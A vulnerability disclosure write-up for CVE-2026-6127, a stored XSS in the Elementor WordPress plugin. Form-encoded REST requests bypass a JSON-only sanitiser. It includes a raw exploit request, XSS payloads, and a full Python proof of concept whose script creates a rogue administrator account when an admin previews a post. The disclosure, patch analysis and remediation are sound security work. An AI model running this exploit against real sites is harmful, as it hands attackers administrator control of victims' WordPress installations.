Skip to content

CVE-2026-6127: Elementor REST API Stored XSS

TL;DR

  • I found a Contributor+ stored XSS in Elementor Website Builder via the _elementor_data REST meta field.
  • Elementor exposed _elementor_data through the WordPress REST API with show_in_rest, but no sanitize_callback.
  • It tried to compensate with a rest_pre_insert_post filter, but that filter only sanitised JSON request bodies.
  • Sending the same update as application/x-www-form-urlencoded skipped the sanitiser and stored raw Elementor widget data.
  • The stored payload later reached raw widget sinks such as the HTML widget's print_unescaped_setting().
  • The vulnerability was assigned CVE-2026-6127 and patched in Elementor 4.0.5.

Summary

Elementor Website Builder was vulnerable to authenticated Contributor+ stored cross-site scripting via _elementor_data because form-encoded REST API updates bypassed Elementor's JSON-only sanitisation path.

  • CVE: CVE-2026-6127
  • Product: Elementor Website Builder
  • Vulnerability: Stored Cross-Site Scripting via REST API
  • Affected Versions: <= 4.0.4
  • Fixed In: 4.0.5
  • CVSS Severity: 6.4 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Required Privilege: Contributor+
  • NVD Published: Pending

The trick was not in the payload, it was in the request format. WordPress parsed meta[_elementor_data] from a form-encoded REST request, but Elementor's sanitiser was looking at the raw body as JSON. That meant WordPress could see the meta field, while Elementor's sanitiser could not. Once that raw widget data was stored, the HTML widget rendered it through the usual unescaped output path.

Introduction

[A]I was looking at Elementor's newer WordPress REST API support and noticed _elementor_data was exposed as editable post meta. That field is interesting because it is basically the page builder document. Widgets, settings, nested elements, content, all of it. If a low-privileged user can write unsafe data there, it is worth checking where that data gets rendered.

It came out in several places. The HTML widget was the cleanest sink, but the issue was not really about one widget. It was about a trusted document field being exposed through REST, with sanitisation depending on how the request body was encoded.

Root Cause Analysis

REST-Exposed Elementor Data

The entry point is _elementor_data, registered in Elementor's wp-rest module.

// modules/wp-rest/classes/elementor-post-meta.php
private function register_elementor_data_meta( string $post_type ): void {
    register_meta( 'post', '_elementor_data', [
        'single' => true,
        'object_subtype' => $post_type,
        'show_in_rest' => [
            'schema' => [
                'title' => 'Elementor data',
                'description' => 'Elementor JSON as a string',
                'type' => 'string',
                'default' => '',
                'context' => [ 'edit' ],
            ],
        ],
        'auth_callback' => [ $this, 'check_edit_permission' ],
    ]);
}

What matters here is:

  • _elementor_data is exposed to the WordPress REST API.
  • It is a string containing Elementor JSON.
  • The auth_callback checks whether the current user can edit the post.
  • There is no sanitize_callback.

That last point matters because there was no sanitisation attached to the meta registration itself. Elementor did have a separate REST filter, but as we'll see, that filter only handled one request encoding.

The auth callback is not broken by itself:

public function check_edit_permission( bool $allowed, string $meta_key, int $post_id ): bool {
    $document = Plugin::$instance->documents->get( $post_id );

    return $document && $document->is_editable_by_current_user();
}

For posts they own, Contributors can normally edit. So this becomes a low-privilege stored XSS if the field accepts unsafe document data.

The Sanitizer

Elementor did have a sanitisation attempt in includes/plugin.php.

// includes/plugin.php
add_filter( 'rest_pre_insert_post', [ $this, 'sanitize_post_data' ], 10, 2 );

The filter eventually reaches sanitize_post_data():

public function sanitize_post_data( $post, WP_REST_Request $request ) {
    if ( current_user_can( 'unfiltered_html' ) ) {
        return $post;
    }

    $request_body = json_decode( $request->get_body(), true );
    $meta = $request_body['meta'];

    if ( is_null( $meta ) ) {
        return $post;
    }

    $elementor_data = $meta['_elementor_data'] ?? [];

    if ( is_string( $elementor_data ) ) {
        $elementor_data = json_decode( $elementor_data );
    }

    if ( is_null( $elementor_data ) ) {
        return $post;
    }

    $elementor_data = map_deep( $elementor_data, function ( $value ) {
        return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
    } );

    $request_body['meta']['_elementor_data'] = json_encode( $elementor_data );
    $request->set_body( json_encode( $request_body ) );

    return $post;
}

At first glance, that looks like it should remove unsafe HTML for users without unfiltered_html. The problem is the first real line:

$request_body = json_decode( $request->get_body(), true );

That only works if the raw request body is JSON.

WordPress REST requests do not have to be JSON. If the request is sent as application/x-www-form-urlencoded, WordPress still parses the parameters and updates the meta field, but json_decode( $request->get_body(), true ) returns null.

With JSON, Elementor sees the meta field and sanitises it.

Content-Type: application/json

{"meta":{"_elementor_data":"..."}}

With a form-encoded body, WordPress still sees the meta field, but Elementor's JSON decode does not.

Content-Type: application/x-www-form-urlencoded

meta[_elementor_data]=...

This was the whole bypass. Nothing particularly cinematic. Just two different ways of reading the same REST request, with security logic attached to the wrong one.

Safer Existing Save Path

The funny part is Elementor already had a safer save path in the normal editor flow.

// core/base/document.php
if ( ! current_user_can( 'unfiltered_html' ) ) {
    $data = map_deep( $data, function ( $value ) {
        return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
    } );
}

That path sanitises document data before saving it through Elementor's own document save routine. The REST meta path was different. Elementor exposed the raw document field with show_in_rest, then tried to patch over it using a filter that only understood JSON bodies. The broken assumption was that untrusted users could not store unsafe values in that document structure.

Sinks

The simplest sink was the HTML widget, which reaches Elementor's shared print_unescaped_setting() helper.

// includes/widgets/html.php
protected function render() {
    $this->print_unescaped_setting( 'html' );
}

That calls the shared helper:

// includes/base/widget-base.php
final public function print_unescaped_setting( $setting, $repeater_name = null, $index = null ) {
    if ( $repeater_name ) {
        $repeater = $this->get_settings_for_display( $repeater_name );
        $output = $repeater[ $index ][ $setting ];
    } else {
        $output = $this->get_settings_for_display( $setting );
    }

    echo $output; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}

I also confirmed a few other reachable sinks.

  • HTML widget: settings.html
  • Text Editor widget: settings.editor
  • Accordion widget: tabs[*].tab_title
  • Tabs widget: tabs[*].tab_title
  • Toggle widget: tabs[*].tab_title

For the report and demo, I used the HTML widget because it is a clean, direct proof:

<svg/onload="alert('XSS@'+document.domain)">

Exploitation

Preconditions

  • The attacker has a Contributor account.
  • The attacker can create or edit an Elementor-supported post they own.
  • A privileged user later views the preview or published page.

Contributor is enough because the write goes through normal post edit capability checks. They do not need unfiltered_html.

Manual Request

The core request looks like this:

PATCH /wp-json/wp/v2/posts/{post_id} HTTP/1.1
Host: target.example
Authorization: Basic <contributor_application_password>
Content-Type: application/x-www-form-urlencoded

meta[_elementor_data]=[{"id":"a1","elType":"container","settings":{},"elements":[{"id":"a2","elType":"widget","widgetType":"html","elements":[],"settings":{"html":"<svg/onload=alert(document.domain)>"}}]}]&meta[_elementor_edit_mode]=builder

The post must also have Elementor edit mode enabled:

meta[_elementor_edit_mode]=builder

When the REST update is JSON, the payload is sanitised. When the update is form-encoded, Elementor's sanitiser misses it and WordPress still writes the meta.

Basic Demo (popping an alert)

First, I used the same form-encoded REST update to store a simple alert() payload.

Burp or terminal request showing form-encoded PATCH storing the alert payload

For a simple demo, I used the HTML widget payload and opened the preview as an admin. The XSS fires immediately on page load:

Alert box firing from the Elementor HTML widget payload

Maximising Impact

For the higher-impact demo, I swapped the alert() for a payload that creates an administrator account when a privileged user opens the preview.

Burp or terminal request showing form-encoded PATCH storing the admin-creation payload

Stored XSS in an admin's browser is not just an alert box. In WordPress, an administrator has access to nonce-protected actions inside /wp-admin/, including user creation.

In my testing, the stored XSS could:

  1. Fetch /wp-admin/user-new.php in the admin's session.
  2. Extract the _wpnonce_create-user token from the response.
  3. Submit the create-user form.
  4. Create a new administrator account.

That turns a Contributor account into administrator access once a privileged user previews or publishes the malicious post.

There is one caveat. This still needs a privileged browser context to trigger. It is not unauthenticated RCE, and it is not direct privilege escalation without a victim page view. But on a normal WordPress editorial workflow, "Contributor submits post for review, admin previews it" is not exactly a weird edge case.

Admin users page showing the newly-created administrator account in the test environment

PoC

Below is a cleaned-up version of the PoC. It creates a draft post as a Contributor, writes _elementor_data using a form-encoded REST PATCH, and then prints the preview URL that should be opened by an administrator.

This version goes straight for the impact chain and creates an administrator account in the vulnerable test environment when an admin opens the preview. The earlier alert() payload is useful for screenshots, but this is the PoC that shows why the bug matters.

#!/usr/bin/env python3
import argparse
import base64
import json
import sys

import requests


PAYLOAD = """<script>
(async()=>{
  const page = await fetch('/wp-admin/user-new.php', {credentials: 'include'});
  const html = await page.text();
  const match = html.match(/_wpnonce_create-user" value="([^"]+)"/);
  if (!match) return;

  const form = new FormData();
  form.append('action', 'createuser');
  form.append('_wpnonce_create-user', match[1]);
  form.append('user_login', 'elementor_poc_admin');
  form.append('email', 'mlems@ekek.hi');
  form.append('pass1', 'MeowMix-2026-Admin!');
  form.append('pass2', 'MeowMix-2026-Admin!');
  form.append('role', 'administrator');
  form.append('createuser', 'Add New User');

  await fetch('/wp-admin/user-new.php', {
    method: 'POST',
    credentials: 'include',
    body: form
  });
})();
</script>"""


def auth_header(username, password):
    token = base64.b64encode(f"{username}:{password}".encode()).decode()
    return {"Authorization": f"Basic {token}"}


def elementor_document(html):
    return json.dumps([
        {
            "id": "31337420",
            "elType": "container",
            "settings": {},
            "elements": [
                {
                    "id": "deadbeef",
                    "elType": "widget",
                    "widgetType": "html",
                    "settings": {"html": html},
                    "elements": [],
                }
            ],
        }
    ])


def create_draft(session, base_url, username, password):
    response = session.post(
        f"{base_url}/wp-json/wp/v2/posts",
        headers={
            **auth_header(username, password),
            "Content-Type": "application/json",
        },
        json={
            "title": "Elementor REST XSS PoC",
            "status": "draft",
            "meta": {"_elementor_edit_mode": "builder"},
        },
        timeout=15,
    )

    if response.status_code not in (200, 201):
        raise RuntimeError(f"post creation failed: {response.status_code} {response.text[:300]}")

    return response.json()["id"]


def write_elementor_data(session, base_url, username, password, post_id, payload):
    response = session.patch(
        f"{base_url}/wp-json/wp/v2/posts/{post_id}",
        headers={
            **auth_header(username, password),
            "Content-Type": "application/x-www-form-urlencoded",
        },
        data={
            "meta[_elementor_edit_mode]": "builder",
            "meta[_elementor_data]": elementor_document(payload),
        },
        timeout=15,
    )

    if not response.ok:
        raise RuntimeError(f"payload write failed: {response.status_code} {response.text[:300]}")

    body = response.text
    json_start = body.find("{")
    if json_start > 0:
        print("[!] Non-JSON output before REST response. With WP_DEBUG enabled, this may expose the null-decode path.")
        body = body[json_start:]

    stored = json.loads(body).get("meta", {}).get("_elementor_data", "")
    if "widgetType" not in stored or "html" not in stored:
        raise RuntimeError("REST response did not include the expected Elementor widget data")

    return True


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-6127 Elementor REST stored XSS PoC")
    parser.add_argument("--url", required=True, help="WordPress base URL, e.g. http://127.0.0.1:8080")
    parser.add_argument("--username", required=True, help="Contributor username")
    parser.add_argument("--password", required=True, help="Contributor application password")
    parser.add_argument("--post-id", type=int, default=0, help="Existing post ID to update, or 0 to create a draft")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")

    session = requests.Session()
    rest_check = session.get(f"{base_url}/wp-json/wp/v2", timeout=15)
    if rest_check.status_code != 200:
        print("[-] WordPress REST API does not look reachable")
        sys.exit(1)

    post_id = args.post_id or create_draft(session, base_url, args.username, args.password)
    write_elementor_data(session, base_url, args.username, args.password, post_id, PAYLOAD)

    print(f"[+] Stored Elementor payload in post {post_id}")
    print("[*] Trigger as an authenticated administrator:")
    print(f"    {base_url}/?p={post_id}&preview=true")
    print("[*] On preview, the payload attempts to create administrator user: elementor_poc_admin")


if __name__ == "__main__":
    main()

Run the impact demo in a local lab:

python3 cve-2026-6127.py \
  --url http://target.example \
  --username contributor \
  --password 'cryptocats_real_password_do_not_leak'

Expected output:

[+] Stored Elementor payload in post 14
[*] Trigger as an authenticated administrator:
    http://target.example/?p=14&preview=true
[*] On preview, the payload attempts to create administrator user: elementor_poc_admin

If you are retesting the same post repeatedly, Elementor's rendered element cache can get in the way. Clear _elementor_element_cache for the post before assuming the payload did not work:

wp post meta delete 14 _elementor_element_cache

Patch Diffing

The 4.0.5 changelog describes this as:

Security Fix: Improved code security enforcement in input handling

The actual patch was small and landed in includes/plugin.php. Elementor stopped decoding the raw request body as JSON and started reading the parsed REST parameter instead:

-       $request_body = json_decode( $request->get_body(), true );
-       $meta = $request_body['meta'];
-       if ( is_null( $meta ) ) {
+       $meta = $request->get_param( 'meta' );
+       if ( empty( $meta ) || ! is_array( $meta ) ) {
            return $post;
        }

They also changed the function to sanitise a fixed list of Elementor meta keys, then write the cleaned values back using set_param():

+   private const SANITIZABLE_META_KEYS = [
+       '_elementor_data',
+       '_elementor_page_settings',
+   ];
+
    public function sanitize_post_data( $post, WP_REST_Request $request ) {
        if ( current_user_can( 'unfiltered_html' ) ) {
            return $post;
        }
-       $request_body = json_decode( $request->get_body(), true );
-       $meta = $request_body['meta'];
-       if ( is_null( $meta ) ) {
+
+       $meta = $request->get_param( 'meta' );
+       if ( empty( $meta ) || ! is_array( $meta ) ) {
            return $post;
        }
-       $elementor_data = $meta['_elementor_data'] ?? [];
-       if ( is_string( $elementor_data ) ) {
-           $elementor_data = json_decode( $elementor_data );
-       }
-       if ( is_null( $elementor_data ) ) {
-           return $post;
+
+       foreach ( self::SANITIZABLE_META_KEYS as $meta_key ) {
+           $elementor_data = $meta[ $meta_key ] ?? null;
+           if ( is_null( $elementor_data ) ) {
+               continue;
+           }
+           if ( is_string( $elementor_data ) ) {
+               $elementor_data = json_decode( $elementor_data, true );
+           }
+           if ( empty( $elementor_data ) ) {
+               continue;
+           }
+
+           $elementor_data = map_deep($elementor_data, function ( $value ) {
+               return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
+           });
+
+           $meta[ $meta_key ] = wp_json_encode( $elementor_data );
        }

-       $elementor_data = map_deep( $elementor_data, function ( $value ) {
-           return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
-       } );
-       $request_body['meta']['_elementor_data'] = json_encode( $elementor_data );
-       $request->set_body( json_encode( $request_body ) );
+       $request->set_param( 'meta', $meta );
        return $post;
    }

That is enough to close the form-encoded bypass because get_param( 'meta' ) reads the parsed REST parameter, regardless of whether it came from a JSON request body or a form-encoded body.

Remediation

Update Elementor to version 4.0.5 or later. If you cannot update immediately, restrict untrusted Contributor access and avoid previewing or publishing untrusted Elementor content until patched.

Disclosure Timeline

  • April 2, 2026: Submitted to the Wordfence bug bounty programme.
  • April 30, 2026: Published by Wordfence as CVE-2026-6127.
  • Bounty: $288.

Conclusion

Input format was the attack surface here. The JSON request path was considered, but the REST API accepted more than JSON. Since the security check lived on the raw body instead of the parsed request parameters, a form-encoded request was enough to step around it.

The raw widget sinks made exploitation straightforward, but the root cause was earlier. A trusted page-builder document field was writable through REST while the sanitisation logic only understood one request encoding.

References